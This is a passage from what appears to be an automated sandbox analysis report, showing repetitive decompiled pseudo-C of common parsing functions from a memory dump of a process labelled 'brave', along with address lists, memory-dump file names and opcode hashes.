				if (_t182 == 0) goto 0x55e85c20;
				if ( *_t182 != 0x18) goto 0x55e85d39;
				goto 0x55e85c22;
				goto 0x55e86051;
				_t183 = _t182 + 1;
				 *(__rbx + 0x18) = _t183;
				E00007FF77FF755E889F0(__rbx);
				E00007FF77FF755E84DD0();
				_a40 = _t183;
				_t219 = _t183;
				goto 0x55e85f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t219[1]);
				E00007FF77FF755E889F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x55e86584;
				 *(__rbx + 0x18) = _t219;
				_t185 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x55e85d30;
				_t229 = _a40;
				if (_t229 == 0) goto 0x55e85c20;
				_t132 =  *(__rbx + 0x38);
				if (_t132 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x55e85c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t132 * 8)) = _t229;
				 *(__rbx + 0x38) = _t132 + 1;
				E00007FF77FF755E84DD0();
				_a40 = _t185;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t229 + 3;
				E00007FF77FF755E87F20(_t185, __rbx);
				_t220 = _t185;
				if (_t185 != 0) goto 0x55e86386;
				goto 0x55e85c20;
				asm("o16 nop [eax+eax]");
				_push(0x561353e0);
				_push(_t220);
				_push(__rbx);
				_t186 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x55e866c8;
				 *(__rbx + 0x18) =  &(_t186[1]);
				r10d =  *_t186 & 0x000000ff;
				if (sil != 0) goto 0x55e866d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t111 = (r8d >> 0x1f) + r8d >> 1;
				_t160 =  *((intOrPtr*)( *((intOrPtr*)(0x56134820 + (_t111 + _t111 * 2) * 8)))) - r10b;
				if (_t160 == 0) goto 0x55e86680;
				if (_t160 <= 0) goto 0x55e866c0;
				r8d = _t111;
				if (0 != r8d) goto 0x55e86648;
				return 0;
			}

0x7ff755e862c7
0x7ff755e862cd
0x7ff755e862e4
0x7ff755e862e8
0x7ff755e862f0
0x7ff755e862f3
0x7ff755e862f9
0x7ff755e862fd
0x7ff755e86306
0x7ff755e8630c
0x7ff755e86323
0x7ff755e86327
0x7ff755e8632f
0x7ff755e86332
0x7ff755e86338
0x7ff755e8633c
0x7ff755e86340
0x7ff755e8634e
0x7ff755e86350
0x7ff755e86356
0x7ff755e86369
0x7ff755e8636d
0x7ff755e86375
0x7ff755e86378
0x7ff755e86383
0x7ff755e86386
0x7ff755e8638d
0x7ff755e86393
0x7ff755e8639a
0x7ff755e8639e
0x7ff755e863b1
0x7ff755e863b6
0x7ff755e863c0
0x7ff755e863c6
0x7ff755e863dd
0x7ff755e863e1
0x7ff755e863e9
0x7ff755e863ec
0x7ff755e863f2
0x7ff755e863f6
0x7ff755e863ff
0x7ff755e86405
0x7ff755e8641c
0x7ff755e86420
0x7ff755e86428
0x7ff755e8642b
0x7ff755e86431
0x7ff755e86435
0x7ff755e8643e
0x7ff755e86444
0x7ff755e8645b
0x7ff755e8645f
0x7ff755e86467
0x7ff755e8646a
0x7ff755e86470
0x7ff755e86474
0x7ff755e86480
0x7ff755e86485
0x7ff755e86493
0x7ff755e86498
0x7ff755e864a2
0x7ff755e864a8
0x7ff755e864bf
0x7ff755e864c3
0x7ff755e864cb
0x7ff755e864ce
0x7ff755e864d4
0x7ff755e864d8
0x7ff755e864dc
0x7ff755e864eb
0x7ff755e864f0
0x7ff755e864f8
0x7ff755e86501
0x7ff755e86507
0x7ff755e86512
0x7ff755e86517
0x7ff755e8651e
0x7ff755e86522
0x7ff755e86537
0x7ff755e8653c
0x7ff755e86541
0x7ff755e86544
0x7ff755e86550
0x7ff755e86557
0x7ff755e8655e
0x7ff755e8656a
0x7ff755e8656c
0x7ff755e86570
0x7ff755e86575
0x7ff755e8657c
0x7ff755e8657f
0x7ff755e86584
0x7ff755e8658c
0x7ff755e86592
0x7ff755e86598
0x7ff755e865a8
0x7ff755e865b2
0x7ff755e865ba
0x7ff755e865bf
0x7ff755e865d0
0x7ff755e865da
0x7ff755e865de
0x7ff755e865e6
0x7ff755e865ec
0x7ff755e865f2
0x7ff755e865f7
0x7ff755e86600
0x7ff755e86601
0x7ff755e86602
0x7ff755e86607
0x7ff755e86614
0x7ff755e8661e
0x7ff755e86626
0x7ff755e8662d
0x7ff755e86633
0x7ff755e86642
0x7ff755e86656
0x7ff755e86666
0x7ff755e86669
0x7ff755e8666b
0x7ff755e8666d
0x7ff755e86673
0x7ff755e8667e

APIs

malloc.MSVCRT ref: 00007FF755EB2752

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 0fe0bb664fee0acb066360bbf1dd7b13264afc6f109f4210fc352504dfbd1cf1
Instruction ID: db0bcac4b609c57f819176b3a329390187f51d198a3f87a3071d76a361897224
Opcode Fuzzy Hash: 0fe0bb664fee0acb066360bbf1dd7b13264afc6f109f4210fc352504dfbd1cf1
Instruction Fuzzy Hash: 4D210732609B0582EB20AF15F8853AAB7A0FB84B5DF984225C2CC0B3A4CF7DD5848794

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E86249 Relevance: 1.3, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00007FF77FF755E86249(void* __eax, void* __ebx, void* __rbx, void* __rcx, void* __rdx, void* __r8, signed char* _a40) {
				signed int _t116;
				signed int _t127;
				signed int _t133;
				signed int _t135;
				signed int _t137;
				signed int _t139;
				signed int _t142;
				signed int _t144;
				signed int _t146;
				signed int _t149;
				signed int _t152;
				void* _t182;
				intOrPtr* _t187;
				intOrPtr* _t190;
				intOrPtr* _t193;
				intOrPtr* _t196;
				char* _t197;
				signed char* _t198;
				intOrPtr* _t201;
				intOrPtr* _t204;
				signed char* _t207;
				intOrPtr* _t210;
				signed char* _t211;
				signed char* _t213;
				signed char* _t214;
				intOrPtr* _t248;
				signed char* _t249;
				signed char* _t250;
				long long _t259;
				void* _t266;

				_t133 =  *(__rbx + 0x28);
				if (_t133 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb26c9;
				_t187 = (_t133 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t187 + 4)) = 0;
				 *(__rbx + 0x28) = _t133 + 1;
				 *_t187 = 0x27;
				 *((long long*)(_t187 + 0x10)) = 0x56135380;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 4;
				_t135 =  *(__rbx + 0x28);
				if (_t135 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb26dc;
				_t190 = (_t135 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t190 + 4)) = 0;
				 *(__rbx + 0x28) = _t135 + 1;
				 *_t190 = 0x27;
				 *((long long*)(_t190 + 0x10)) = 0x56135320;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t137 =  *(__rbx + 0x28);
				if (_t137 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb26a9;
				_t193 = (_t137 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t193 + 4)) = 0;
				 *(__rbx + 0x28) = _t137 + 1;
				 *_t193 = 0x27;
				 *((long long*)(_t193 + 0x10)) = 0x561353c0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				_t139 =  *(__rbx + 0x28);
				if (_t139 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2702;
				_t196 = (_t139 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t196 + 4)) = 0;
				 *(__rbx + 0x28) = _t139 + 1;
				 *_t196 = 0x27;
				 *((long long*)(_t196 + 0x10)) = 0x56135360;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0xa;
				goto 0x55e85c22;
				 *_t196 =  *_t196 + __eax;
				_t116 =  *(__rbx + 0x28);
				if (_t116 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55e85c20;
				_t248 = (_t116 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t248 + 4)) = 0;
				 *(__rbx + 0x28) = _t116 + 1;
				 *_t248 = 0x42;
				 *((intOrPtr*)(_t248 + 0x10)) = E00007FF77FF755E84E90(_t196, __rbx, __rdx, __r8, _t266);
				_t197 =  *(__rbx + 0x18);
				if ( *_t197 != 0x5f) goto 0x55e85c20;
				_t198 = _t197 + 1;
				 *(__rbx + 0x18) = _t198;
				E00007FF77FF755E85BC0();
				E00007FF77FF755E84DD0();
				_a40 = _t198;
				_t142 =  *(__rbx + 0x28);
				if (_t142 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2670;
				_t201 = (_t142 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t201 + 4)) = 0;
				 *(__rbx + 0x28) = _t142 + 1;
				 *_t201 = 0x27;
				 *((long long*)(_t201 + 0x10)) = 0x56135340;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t144 =  *(__rbx + 0x28);
				if (_t144 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2715;
				_t204 = (_t144 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t204 + 4)) = 0;
				 *(__rbx + 0x28) = _t144 + 1;
				 *_t204 = 0x27;
				 *((long long*)(_t204 + 0x10)) = 0x56135400;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0x11;
				_t146 =  *(__rbx + 0x28);
				if (_t146 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb26ef;
				_t207 = (_t146 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t207 + 4)) = 0;
				 *(__rbx + 0x28) = _t146 + 1;
				 *_t207 = 0x27;
				 *((long long*)(_t207 + 0x10)) = 0x561353a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF77FF755E85BC0();
				r9d = 0;
				E00007FF77FF755E84DD0();
				_a40 = _t207;
				_t149 =  *(__rbx + 0x28);
				if (_t149 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2683;
				_t210 = (_t149 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t210 + 4)) = 0;
				 *(__rbx + 0x28) = _t149 + 1;
				 *_t210 = 0x27;
				 *((long long*)(_t210 + 0x10)) = 0x561353e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0x55e85c22;
				E00007FF77FF755E86EE0(_t210, __rbx);
				_a40 = _t210;
				if (_t210 == 0) goto 0x55e85c20;
				if ( *_t210 != 0x18) goto 0x55e85d39;
				goto 0x55e85c22;
				goto 0x55e86051;
				_t211 = _t210 + 1;
				 *(__rbx + 0x18) = _t211;
				E00007FF77FF755E889F0(__rbx);
				E00007FF77FF755E84DD0();
				_a40 = _t211;
				_t249 = _t211;
				goto 0x55e85f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t249[1]);
				E00007FF77FF755E889F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x55e86584;
				 *(__rbx + 0x18) = _t249;
				_t213 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x55e85d30;
				_t259 = _a40;
				if (_t259 == 0) goto 0x55e85c20;
				_t152 =  *(__rbx + 0x38);
				if (_t152 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x55e85c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t152 * 8)) = _t259;
				 *(__rbx + 0x38) = _t152 + 1;
				E00007FF77FF755E84DD0();
				_a40 = _t213;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t259 + 3;
				E00007FF77FF755E87F20(_t213, __rbx);
				_t250 = _t213;
				if (_t213 != 0) goto 0x55e86386;
				goto 0x55e85c20;
				asm("o16 nop [eax+eax]");
				_push(0x561353e0);
				_push(_t250);
				_push(__rbx);
				_t214 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x55e866c8;
				 *(__rbx + 0x18) =  &(_t214[1]);
				r10d =  *_t214 & 0x000000ff;
				if (sil != 0) goto 0x55e866d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t127 = (r8d >> 0x1f) + r8d >> 1;
				_t182 =  *((intOrPtr*)( *((intOrPtr*)(0x56134820 + (_t127 + _t127 * 2) * 8)))) - r10b;
				if (_t182 == 0) goto 0x55e86680;
				if (_t182 <= 0) goto 0x55e866c0;
				r8d = _t127;
				if (0 != r8d) goto 0x55e86648;
				return 0;
			}

0x7ff755e86249
0x7ff755e8624f
0x7ff755e86266
0x7ff755e8626a
0x7ff755e86272
0x7ff755e86275
0x7ff755e8627b
0x7ff755e8627f
0x7ff755e86288
0x7ff755e8628e
0x7ff755e862a5
0x7ff755e862a9
0x7ff755e862b1
0x7ff755e862b4
0x7ff755e862ba
0x7ff755e862be
0x7ff755e862c7
0x7ff755e862cd
0x7ff755e862e4
0x7ff755e862e8
0x7ff755e862f0
0x7ff755e862f3
0x7ff755e862f9
0x7ff755e862fd
0x7ff755e86306
0x7ff755e8630c
0x7ff755e86323
0x7ff755e86327
0x7ff755e8632f
0x7ff755e86332
0x7ff755e86338
0x7ff755e8633c
0x7ff755e86340
0x7ff755e8634e
0x7ff755e86350
0x7ff755e86356
0x7ff755e86369
0x7ff755e8636d
0x7ff755e86375
0x7ff755e86378
0x7ff755e86383
0x7ff755e86386
0x7ff755e8638d
0x7ff755e86393
0x7ff755e8639a
0x7ff755e8639e
0x7ff755e863b1
0x7ff755e863b6
0x7ff755e863c0
0x7ff755e863c6
0x7ff755e863dd
0x7ff755e863e1
0x7ff755e863e9
0x7ff755e863ec
0x7ff755e863f2
0x7ff755e863f6
0x7ff755e863ff
0x7ff755e86405
0x7ff755e8641c
0x7ff755e86420
0x7ff755e86428
0x7ff755e8642b
0x7ff755e86431
0x7ff755e86435
0x7ff755e8643e
0x7ff755e86444
0x7ff755e8645b
0x7ff755e8645f
0x7ff755e86467
0x7ff755e8646a
0x7ff755e86470
0x7ff755e86474
0x7ff755e86480
0x7ff755e86485
0x7ff755e86493
0x7ff755e86498
0x7ff755e864a2
0x7ff755e864a8
0x7ff755e864bf
0x7ff755e864c3
0x7ff755e864cb
0x7ff755e864ce
0x7ff755e864d4
0x7ff755e864d8
0x7ff755e864dc
0x7ff755e864eb
0x7ff755e864f0
0x7ff755e864f8
0x7ff755e86501
0x7ff755e86507
0x7ff755e86512
0x7ff755e86517
0x7ff755e8651e
0x7ff755e86522
0x7ff755e86537
0x7ff755e8653c
0x7ff755e86541
0x7ff755e86544
0x7ff755e86550
0x7ff755e86557
0x7ff755e8655e
0x7ff755e8656a
0x7ff755e8656c
0x7ff755e86570
0x7ff755e86575
0x7ff755e8657c
0x7ff755e8657f
0x7ff755e86584
0x7ff755e8658c
0x7ff755e86592
0x7ff755e86598
0x7ff755e865a8
0x7ff755e865b2
0x7ff755e865ba
0x7ff755e865bf
0x7ff755e865d0
0x7ff755e865da
0x7ff755e865de
0x7ff755e865e6
0x7ff755e865ec
0x7ff755e865f2
0x7ff755e865f7
0x7ff755e86600
0x7ff755e86601
0x7ff755e86602
0x7ff755e86607
0x7ff755e86614
0x7ff755e8661e
0x7ff755e86626
0x7ff755e8662d
0x7ff755e86633
0x7ff755e86642
0x7ff755e86656
0x7ff755e86666
0x7ff755e86669
0x7ff755e8666b
0x7ff755e8666d
0x7ff755e86673
0x7ff755e8667e

APIs

malloc.MSVCRT ref: 00007FF755EB2752

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: eff3cf0a3ead3182ce9a2d061d4ff4c747767f33054f4b93d232421270182bae
Instruction ID: 43d1aee504a48eb78ff05cc9ea5762cc0a9c6340d9074a3c5f246624a4cff428
Opcode Fuzzy Hash: eff3cf0a3ead3182ce9a2d061d4ff4c747767f33054f4b93d232421270182bae
Instruction Fuzzy Hash: 21210632609B0582EB24AF14F9803AAB7A0FB84B5DF994625C28D0B3A4CF7DD5858794

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E86288 Relevance: 1.3, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00007FF77FF755E86288(void* __eax, void* __ebx, void* __rbx, void* __rcx, void* __rdx, void* __r8, signed char* _a40) {
				signed int _t108;
				signed int _t119;
				signed int _t125;
				signed int _t127;
				signed int _t129;
				signed int _t132;
				signed int _t134;
				signed int _t136;
				signed int _t139;
				signed int _t142;
				void* _t171;
				intOrPtr* _t176;
				intOrPtr* _t179;
				intOrPtr* _t182;
				char* _t183;
				signed char* _t184;
				intOrPtr* _t187;
				intOrPtr* _t190;
				signed char* _t193;
				intOrPtr* _t196;
				signed char* _t197;
				signed char* _t199;
				signed char* _t200;
				intOrPtr* _t233;
				signed char* _t234;
				signed char* _t235;
				long long _t244;
				void* _t251;

				_t125 =  *(__rbx + 0x28);
				if (_t125 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb26dc;
				_t176 = (_t125 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t176 + 4)) = 0;
				 *(__rbx + 0x28) = _t125 + 1;
				 *_t176 = 0x27;
				 *((long long*)(_t176 + 0x10)) = 0x56135320;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t127 =  *(__rbx + 0x28);
				if (_t127 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb26a9;
				_t179 = (_t127 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t179 + 4)) = 0;
				 *(__rbx + 0x28) = _t127 + 1;
				 *_t179 = 0x27;
				 *((long long*)(_t179 + 0x10)) = 0x561353c0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				_t129 =  *(__rbx + 0x28);
				if (_t129 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2702;
				_t182 = (_t129 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t182 + 4)) = 0;
				 *(__rbx + 0x28) = _t129 + 1;
				 *_t182 = 0x27;
				 *((long long*)(_t182 + 0x10)) = 0x56135360;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0xa;
				goto 0x55e85c22;
				 *_t182 =  *_t182 + __eax;
				_t108 =  *(__rbx + 0x28);
				if (_t108 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55e85c20;
				_t233 = (_t108 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t233 + 4)) = 0;
				 *(__rbx + 0x28) = _t108 + 1;
				 *_t233 = 0x42;
				 *((intOrPtr*)(_t233 + 0x10)) = E00007FF77FF755E84E90(_t182, __rbx, __rdx, __r8, _t251);
				_t183 =  *(__rbx + 0x18);
				if ( *_t183 != 0x5f) goto 0x55e85c20;
				_t184 = _t183 + 1;
				 *(__rbx + 0x18) = _t184;
				E00007FF77FF755E85BC0();
				E00007FF77FF755E84DD0();
				_a40 = _t184;
				_t132 =  *(__rbx + 0x28);
				if (_t132 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2670;
				_t187 = (_t132 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t187 + 4)) = 0;
				 *(__rbx + 0x28) = _t132 + 1;
				 *_t187 = 0x27;
				 *((long long*)(_t187 + 0x10)) = 0x56135340;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t134 =  *(__rbx + 0x28);
				if (_t134 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2715;
				_t190 = (_t134 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t190 + 4)) = 0;
				 *(__rbx + 0x28) = _t134 + 1;
				 *_t190 = 0x27;
				 *((long long*)(_t190 + 0x10)) = 0x56135400;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0x11;
				_t136 =  *(__rbx + 0x28);
				if (_t136 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb26ef;
				_t193 = (_t136 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t193 + 4)) = 0;
				 *(__rbx + 0x28) = _t136 + 1;
				 *_t193 = 0x27;
				 *((long long*)(_t193 + 0x10)) = 0x561353a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF77FF755E85BC0();
				r9d = 0;
				E00007FF77FF755E84DD0();
				_a40 = _t193;
				_t139 =  *(__rbx + 0x28);
				if (_t139 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2683;
				_t196 = (_t139 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t196 + 4)) = 0;
				 *(__rbx + 0x28) = _t139 + 1;
				 *_t196 = 0x27;
				 *((long long*)(_t196 + 0x10)) = 0x561353e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0x55e85c22;
				E00007FF77FF755E86EE0(_t196, __rbx);
				_a40 = _t196;
				if (_t196 == 0) goto 0x55e85c20;
				if ( *_t196 != 0x18) goto 0x55e85d39;
				goto 0x55e85c22;
				goto 0x55e86051;
				_t197 = _t196 + 1;
				 *(__rbx + 0x18) = _t197;
				E00007FF77FF755E889F0(__rbx);
				E00007FF77FF755E84DD0();
				_a40 = _t197;
				_t234 = _t197;
				goto 0x55e85f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t234[1]);
				E00007FF77FF755E889F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x55e86584;
				 *(__rbx + 0x18) = _t234;
				_t199 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x55e85d30;
				_t244 = _a40;
				if (_t244 == 0) goto 0x55e85c20;
				_t142 =  *(__rbx + 0x38);
				if (_t142 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x55e85c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t142 * 8)) = _t244;
				 *(__rbx + 0x38) = _t142 + 1;
				E00007FF77FF755E84DD0();
				_a40 = _t199;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t244 + 3;
				E00007FF77FF755E87F20(_t199, __rbx);
				_t235 = _t199;
				if (_t199 != 0) goto 0x55e86386;
				goto 0x55e85c20;
				asm("o16 nop [eax+eax]");
				_push(0x561353e0);
				_push(_t235);
				_push(__rbx);
				_t200 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x55e866c8;
				 *(__rbx + 0x18) =  &(_t200[1]);
				r10d =  *_t200 & 0x000000ff;
				if (sil != 0) goto 0x55e866d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t119 = (r8d >> 0x1f) + r8d >> 1;
				_t171 =  *((intOrPtr*)( *((intOrPtr*)(0x56134820 + (_t119 + _t119 * 2) * 8)))) - r10b;
				if (_t171 == 0) goto 0x55e86680;
				if (_t171 <= 0) goto 0x55e866c0;
				r8d = _t119;
				if (0 != r8d) goto 0x55e86648;
				return 0;
			}

0x7ff755e86288
0x7ff755e8628e
0x7ff755e862a5
0x7ff755e862a9
0x7ff755e862b1
0x7ff755e862b4
0x7ff755e862ba
0x7ff755e862be
0x7ff755e862c7
0x7ff755e862cd
0x7ff755e862e4
0x7ff755e862e8
0x7ff755e862f0
0x7ff755e862f3
0x7ff755e862f9
0x7ff755e862fd
0x7ff755e86306
0x7ff755e8630c
0x7ff755e86323
0x7ff755e86327
0x7ff755e8632f
0x7ff755e86332
0x7ff755e86338
0x7ff755e8633c
0x7ff755e86340
0x7ff755e8634e
0x7ff755e86350
0x7ff755e86356
0x7ff755e86369
0x7ff755e8636d
0x7ff755e86375
0x7ff755e86378
0x7ff755e86383
0x7ff755e86386
0x7ff755e8638d
0x7ff755e86393
0x7ff755e8639a
0x7ff755e8639e
0x7ff755e863b1
0x7ff755e863b6
0x7ff755e863c0
0x7ff755e863c6
0x7ff755e863dd
0x7ff755e863e1
0x7ff755e863e9
0x7ff755e863ec
0x7ff755e863f2
0x7ff755e863f6
0x7ff755e863ff
0x7ff755e86405
0x7ff755e8641c
0x7ff755e86420
0x7ff755e86428
0x7ff755e8642b
0x7ff755e86431
0x7ff755e86435
0x7ff755e8643e
0x7ff755e86444
0x7ff755e8645b
0x7ff755e8645f
0x7ff755e86467
0x7ff755e8646a
0x7ff755e86470
0x7ff755e86474
0x7ff755e86480
0x7ff755e86485
0x7ff755e86493
0x7ff755e86498
0x7ff755e864a2
0x7ff755e864a8
0x7ff755e864bf
0x7ff755e864c3
0x7ff755e864cb
0x7ff755e864ce
0x7ff755e864d4
0x7ff755e864d8
0x7ff755e864dc
0x7ff755e864eb
0x7ff755e864f0
0x7ff755e864f8
0x7ff755e86501
0x7ff755e86507
0x7ff755e86512
0x7ff755e86517
0x7ff755e8651e
0x7ff755e86522
0x7ff755e86537
0x7ff755e8653c
0x7ff755e86541
0x7ff755e86544
0x7ff755e86550
0x7ff755e86557
0x7ff755e8655e
0x7ff755e8656a
0x7ff755e8656c
0x7ff755e86570
0x7ff755e86575
0x7ff755e8657c
0x7ff755e8657f
0x7ff755e86584
0x7ff755e8658c
0x7ff755e86592
0x7ff755e86598
0x7ff755e865a8
0x7ff755e865b2
0x7ff755e865ba
0x7ff755e865bf
0x7ff755e865d0
0x7ff755e865da
0x7ff755e865de
0x7ff755e865e6
0x7ff755e865ec
0x7ff755e865f2
0x7ff755e865f7
0x7ff755e86600
0x7ff755e86601
0x7ff755e86602
0x7ff755e86607
0x7ff755e86614
0x7ff755e8661e
0x7ff755e86626
0x7ff755e8662d
0x7ff755e86633
0x7ff755e86642
0x7ff755e86656
0x7ff755e86666
0x7ff755e86669
0x7ff755e8666b
0x7ff755e8666d
0x7ff755e86673
0x7ff755e8667e

APIs

malloc.MSVCRT ref: 00007FF755EB2752

Memory Dump Source

